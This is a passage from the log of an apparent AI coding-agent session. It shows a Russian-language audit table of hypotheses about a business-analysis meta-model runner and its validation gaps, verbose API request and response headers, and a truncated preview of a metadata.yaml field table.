\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L35-L53) \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442; `Actor` \u2014 \u00ab\u043a\u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0448\u0430\u0433\u00bb, \u0430 `System` \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0435\u043c \u0431\u044b\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 ([`SY-1`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L65)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u043a\u0430\u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u043a\u0430\u043a `Actor`: \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0433\u0435\u0439\u0442 \u0438 \u043f\u0438\u0448\u0435\u0442 \u0436\u0443\u0440\u043d\u0430\u043b. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0451 \u0432 runner, \u0430 \u043d\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b |\\n| \u0413-27 | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 | `MM` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u043e\u0434 Mango \u0438 GigaCode ([`00-introduction.md` L69-L70](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md#L69-L70)), \u043d\u043e `EP-R1`\u2026`EP-R9` \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u0433\u0440\u0430\u0444, \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b ([L225-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L225-L233)); \u0442\u043e\u043b\u044c\u043a\u043e `EP-R8` \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c.** \u041f\u0435\u0440\u0435\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c `EP-R8` \u043a\u0430\u043a \u00ab\u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043b\u0438\u0441\u0442\u0430\u00bb \u2014 \u0431\u0435\u0437 \u0447\u0430\u0442\u0430 \u043a\u0430\u043a \u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044f |\\n| \u0413-28 | \u0423\u0441\u043b\u043e\u0432\u0438\u044f \u0440\u0451\u0431\u0435\u0440 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u0430\u043a, \u043a\u0430\u043a \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 YAML | `P11`: \u0432 [`routes/rg-bcreq-v1.yaml`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) 17 \u043d\u0435\u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432, runner \u0438\u0445 \u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442; \u0432\u0435\u0442\u0432\u0438 \u0437\u0430\u043d\u043e\u0432\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 ([`run-task.py` L151-L187](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L151-L187)). \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432 Source \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 runner | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434.** Runner \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b \u0438\u0437 YAML \u043d\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c \u044f\u0437\u044b\u043a\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0431\u0435\u0437 `eval`; \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0447\u0442\u043e \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f; \u0440\u0443\u0447\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442\u0441\u044f |\\n| \u0413-29 | G-mach \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0433\u0430 | `P10`: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u0438\u043d\u044f\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3. \u0413\u0435\u0439\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 ([`run-task.py` L76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L76)), \u0430 \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f entry, n0, n4, n5, n6, n8, n12 \u0438 n13 ([L220-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L220-L233)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430, \u0430 \u043d\u0435 \u043f\u0430\u043a\u0435\u0442 |\\n| \u0413-30 | \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u043f\u0438\u043b\u043e\u0442\u0430 `deterministic_share` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043b\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 |\",\n[2026-09-29T07:44:36.574Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:44:36.574Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:44:36.574Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:44:36.574Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:44:36.574Z] [INFO]     \"persistedOutputPath\": \"/home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/b7ejdco20.txt\",\n[2026-09-29T07:44:36.574Z] [INFO]     \"persistedOutputSize\": 77050\n[2026-09-29T07:44:36.574Z] [INFO]   }\n[2026-09-29T07:44:36.574Z] [INFO] }\n[2026-09-29T07:44:36.632Z] [STDOUT] [log_8ec053] sending request {\n[2026-09-29T07:44:36.639Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:44:36.648Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:36.658Z] [STDOUT]   options: {\n[2026-09-29T07:44:36.663Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:44:36.671Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:44:36.674Z] [STDOUT]     body: {\n[2026-09-29T07:44:36.677Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:44:36.679Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:44:36.681Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:44:36.685Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:44:36.689Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:44:36.693Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:44:36.696Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:44:36.702Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:44:36.710Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:44:36.714Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:44:36.720Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:44:36.725Z] [STDOUT]       stream: true,\n[2026-09-29T07:44:36.730Z] [STDOUT]     },\n[2026-09-29T07:44:36.734Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:44:36.742Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:44:36.746Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:36.753Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:36.766Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:36.774Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:36.779Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:36.783Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:36.785Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:36.788Z] [STDOUT]     },\n[2026-09-29T07:44:36.794Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:36.801Z] [STDOUT]   },\n[2026-09-29T07:44:36.804Z] [STDOUT]   headers: {\n[2026-09-29T07:44:36.808Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:36.814Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:36.819Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:36.830Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:36.836Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:36.843Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:36.849Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:36.851Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:36.854Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:36.858Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1344\",\n[2026-09-29T07:44:36.861Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:36.865Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:44:36.868Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:36.870Z] [STDOUT]     \"x-client-request-id\": \"d657f733-0f20-45ae-9ec3-9df40d96b70f\",\n[2026-09-29T07:44:36.873Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:36.876Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:36.884Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:36.888Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:36.891Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:36.893Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:36.895Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:36.897Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:36.898Z] [STDOUT]   },\n[2026-09-29T07:44:36.900Z] [STDOUT] }\n[2026-09-29T07:44:37.432Z] [STDOUT] [log_8ec053, request-id: \"req_011CfXMhD1VmhHqvxSAEwVmu\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 801ms\n[2026-09-29T07:44:37.435Z] [STDOUT] [log_8ec053] response start {\n[2026-09-29T07:44:37.438Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:37.446Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:37.452Z] [STDOUT]   headers: {\n[2026-09-29T07:44:37.457Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:37.468Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:37.473Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:37.478Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:37.484Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:37.487Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:37.495Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:37.502Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:37.509Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:37.515Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:37.519Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:37.523Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:37.528Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:37.535Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:37.539Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:37.543Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:37.551Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:37.555Z] [STDOUT]     \"cf-ray\": \"a4295d14f9e429ad-FRA\",\n[2026-09-29T07:44:37.560Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:37.567Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:37.569Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:37.573Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:37.578Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:37 GMT\",\n[2026-09-29T07:44:37.583Z] [STDOUT]     \"request-id\": \"req_011CfXMhD1VmhHqvxSAEwVmu\",\n[2026-09-29T07:44:37.586Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:37.589Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:37.594Z] [STDOUT]     traceresponse: \"00-5fd2821eed4c77f8eb06eced6efe1ecf-a9c9fab7d4f1ad74-01\",\n[2026-09-29T07:44:37.600Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:37.604Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:37.608Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:37.611Z] [STDOUT]   },\n[2026-09-29T07:44:37.615Z] [STDOUT]   durationMs: 801,\n[2026-09-29T07:44:37.619Z] [STDOUT] }\n[2026-09-29T07:44:37.625Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:37.628Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:37 GMT\",\n[2026-09-29T07:44:37.630Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:37.639Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:37.646Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:37.651Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:37.659Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:37.668Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:37.670Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:37.676Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:37.680Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:37.683Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:37.691Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:37.698Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:37.703Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:37.711Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:37.716Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:37.721Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:37.725Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:37.730Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:37.735Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:37.746Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:37.751Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:37.757Z] [STDOUT]   \"request-id\": \"req_011CfXMhD1VmhHqvxSAEwVmu\",\n[2026-09-29T07:44:37.759Z] [STDOUT]   \"traceresponse\": \"00-5fd2821eed4c77f8eb06eced6efe1ecf-a9c9fab7d4f1ad74-01\",\n[2026-09-29T07:44:37.763Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:37.766Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:37.768Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:37.770Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:37.773Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:37.776Z] [STDOUT]   \"cf-ray\": \"a4295d14f9e429ad-FRA\",\n[2026-09-29T07:44:37.778Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:37.784Z] [STDOUT] [log_8ec053] response parsed {\n[2026-09-29T07:44:37.788Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:37.795Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:37.797Z] [STDOUT]   body: X {\n[2026-09-29T07:44:37.802Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:37.806Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:37.811Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:37.814Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:37.822Z] [STDOUT]     },\n[2026-09-29T07:44:37.827Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:37.832Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:37.838Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:37.842Z] [STDOUT]   },\n[2026-09-29T07:44:37.846Z] [STDOUT]   durationMs: 802,\n[2026-09-29T07:44:37.850Z] [STDOUT] }\n[2026-09-29T07:44:37.855Z] [INFO] {\n[2026-09-29T07:44:37.855Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:37.855Z] [INFO]   \"message\": {\n[2026-09-29T07:44:37.855Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:37.855Z] [INFO]     \"content\": [\n[2026-09-29T07:44:37.855Z] [INFO]       {\n[2026-09-29T07:44:37.855Z] [INFO]         \"tool_use_id\": \"toolu_01KRn1KiWJP4NxGpjFNx2JRS\",\n[2026-09-29T07:44:37.855Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:37.855Z] [INFO]         \"content\": \"\\nOutput too large (42.6KB). Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bd81ljdck.txt\\n\\nPreview (first 2KB):\\n`metadata.yaml` \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u043e\u043b\u0435\u0439:\\n\\n| \u041f\u043e\u043b\u0435 | \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0435 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- | --- |\\n| `run_id` | \u0434\u0430 | \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0432\u0438\u0434\u0430 `RUN-XXXX`, \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c \u043f\u0430\u043f\u043a\u0438. |\\n| `process` | \u0434\u0430 | \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438\u043b\u0438 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0441\u044f. |\\n| `version` | \u0434\u0430 | \u0412\u0435\u0440\u0441\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0438\u043b\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. |\\n| `date` | \u0434\u0430 | \u0414\u0430\u0442\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 `YYYY-MM-DD`. |\\n| `author` | \u0434\u0430 | \u0410\u0432\u0442\u043e\u0440 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u0411\u0410, \u0447\u0435\u043b\u043e\u0432\u0435\u043a+LLM \u0438\u043b\u0438 \u0430\u0433\u0435\u043d\u0442. |\\n| `model` | \u0434\u0430 | \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c; \u0435\u0441\u043b\u0438 \u043d\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u0430, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f `not-recorded`. |\\n| `status` | \u0434\u0430 | \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 `draft`, `experimental`, `success`, `partial-success`, `works-with-edits`. |\\n| `run_type` | \u0434\u0430 (\u043a\u0440\u043e\u043c\u0435 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043e issue #293) | \u0422\u0438\u043f 